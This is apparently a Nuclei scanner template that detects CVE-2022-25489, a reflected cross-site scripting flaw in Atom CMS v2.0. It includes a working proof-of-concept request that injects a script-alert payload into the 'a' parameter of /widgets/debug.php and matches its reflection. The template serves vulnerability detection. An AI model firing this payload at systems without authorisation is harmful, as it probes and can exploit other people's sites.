id: CVE-2022-25489

info:
  name: Atom CMS v2.0 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Atom CMS v2.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the "A" parameter in /widgets/debug.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version Atom CMS v2.1
  reference:
    - https://github.com/thedigicraft/Atom.CMS/issues/258
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25489
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-25489
    cwe-id: CWE-79
    epss-score: 0.01459
    epss-percentile: 0.70949
    cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thedigitalcraft
    product: atomcms
  tags: cve,cve2022,xss,atom,cms,thedigitalcraft,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/widgets/debug.php?a=<script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Path Array"
          - "console-debug"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bf5188637da2442991a401ccd104526eba1577c4308f146f4bef3e7260e53f2d022100d5f1818d2864272cd139aa2cac1d862440789452fca9fe6dff818b5dc11878e9:922c64590222798bb761d5b6d8e72950